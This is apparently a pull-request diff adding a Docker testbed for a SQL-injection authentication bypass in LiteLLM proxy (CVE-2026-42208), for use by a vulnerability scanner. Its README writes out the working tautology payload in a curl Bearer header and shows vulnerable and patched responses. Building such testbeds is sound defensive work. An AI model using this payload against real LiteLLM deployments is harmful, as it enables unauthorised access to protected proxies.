Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
45 changes: 45 additions & 0 deletions litellm/CVE-2026-42208/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# SQL Injection affecting LiteLLM proxy authentication (CVE-2026-42208)

LiteLLM proxy versions v1.82.0 and earlier fail to properly parameterize token verification queries. A remote unauthenticated attacker can supply crafted API keys containing malicious SQL syntax (such as tautology-based payloads) to bypass authentication checks and interact with protected proxy routes.

## Vulnerable Version

### Setup

Start the vulnerable LiteLLM proxy instance (v1.82.0-stable) and its PostgreSQL database on port 4000:

```sh
docker compose up -d litellm-vuln db
```
### Testing the vulnerability

Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
```
curl -H "Authorization: Bearer ' OR '1'='1" localhost:4000/v1/models

```
Response:

```
{"data":[{"id":"*","object":"model","created":1677610602,"owned_by":"openai"}],"object":"list"}

```
## Safe Version

### Setup

Start the patched LiteLLM proxy instance (v1.83.10-stable) and its PostgreSQL database on port 4001:

```sh
docker compose up -d litellm-patched db
```
Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
### Testing the vulnerability

```
curl -H "Authorization: Bearer ' OR '1'='1" localhost:4001/v1/models
```
Response:

```
{"error":{"message":"Authentication Error, LiteLLM Virtual Key expected. Received=' OR****'='1, expected to start with 'sk-'.","type":"auth_error","param":"None","code":"401"}}

```
15 changes: 15 additions & 0 deletions litellm/CVE-2026-42208/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
model_list:
- model_name: local-dummy
litellm_params:
model: openai/local-dummy
api_base: http://127.0.0.1:65535/v1
api_key: sk-local-dummy-provider-key

general_settings:
master_key: sk-local-master-vuln
database_url: os.environ/DATABASE_URL
store_model_in_db: true
disable_error_logs: false

litellm_settings:
set_verbose: false
85 changes: 85 additions & 0 deletions litellm/CVE-2026-42208/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
services:
db:
image: postgres:15-alpine
container_name: litellm-db
environment:
POSTGRES_USER: litellm
POSTGRES_PASSWORD: litellm
POSTGRES_DB: litellm
healthcheck:
test: ["CMD-SHELL", "pg_isready -U litellm -d litellm"]
interval: 5s
timeout: 3s
retries: 30
restart: unless-stopped

# --- VULNERABLE PROXY (Port 4000) ---
litellm-vuln:
image: ghcr.io/berriai/litellm:v1.82.0-stable
container_name: litellm-proxy-vuln
depends_on:
db:
condition: service_healthy
environment:
PYTHONOPTIMIZE: "1"
DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm
STORE_MODEL_IN_DB: "True"
LITELLM_MASTER_KEY: sk-local-master-vuln
ports:
- "4000:4000"
volumes:
- ./config.yaml:/app/config.yaml
command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"]
healthcheck:
test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""]
interval: 5s
timeout: 3s
retries: 30
restart: unless-stopped

# --- PATCHED PROXY (Port 4001) ---
litellm-patched:
image: ghcr.io/berriai/litellm:v1.83.10-stable
container_name: litellm-proxy-patched
depends_on:
db:
condition: service_healthy
environment:
DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm
STORE_MODEL_IN_DB: "True"
LITELLM_MASTER_KEY: sk-local-master-vuln
ports:
- "4001:4000"
volumes:
- ./config.yaml:/app/config.yaml
command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"]
healthcheck:
test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""]
interval: 5s
timeout: 3s
retries: 30
restart: unless-stopped

# --- RELIABLE AUTOMATED SEEDER ---
seeder:
image: docker.io/curlimages/curl
container_name: litellm-seeder
depends_on:
litellm-vuln:
condition: service_healthy
litellm-patched:
condition: service_healthy
command:
- sh
- -c
- |
echo "Seeding Vulnerable Proxy..."
until [ "$(curl -s -o /dev/null -w "%{http_code}" -X POST http://litellm-vuln:4000/key/generate -H "Authorization: Bearer sk-local-master-vuln" -H "Content-Type: application/json" -d '{"models":["*"]}')" = "200" ]; do
echo "Waiting for vuln proxy API..."
sleep 2
done

echo "Vulnerable Proxy seeding completed successfully!"
Comment on lines +63 to +82

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
# --- RELIABLE AUTOMATED SEEDER ---
seeder:
image: docker.io/curlimages/curl
container_name: litellm-seeder
depends_on:
litellm-vuln:
condition: service_healthy
litellm-patched:
condition: service_healthy
command:
- sh
- -c
- |
echo "Seeding Vulnerable Proxy..."
until [ "$(curl -s -o /dev/null -w "%{http_code}" -X POST http://litellm-vuln:4000/key/generate -H "Authorization: Bearer sk-local-master-vuln" -H "Content-Type: application/json" -d '{"models":["*"]}')" = "200" ]; do
echo "Waiting for vuln proxy API..."
sleep 2
done
echo "Vulnerable Proxy seeding completed successfully!"

Seeder appears unnecessary, testbed and Tsunami plugin still works without it

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The seeder is needed for the vulnerable instance to initialize database tables and generate the master API key required for authentication. It fails on the patched version because newer schema migrations, strict permission checks, or updated internal routing reject the legacy initialization payload.


volumes:
postgres_data: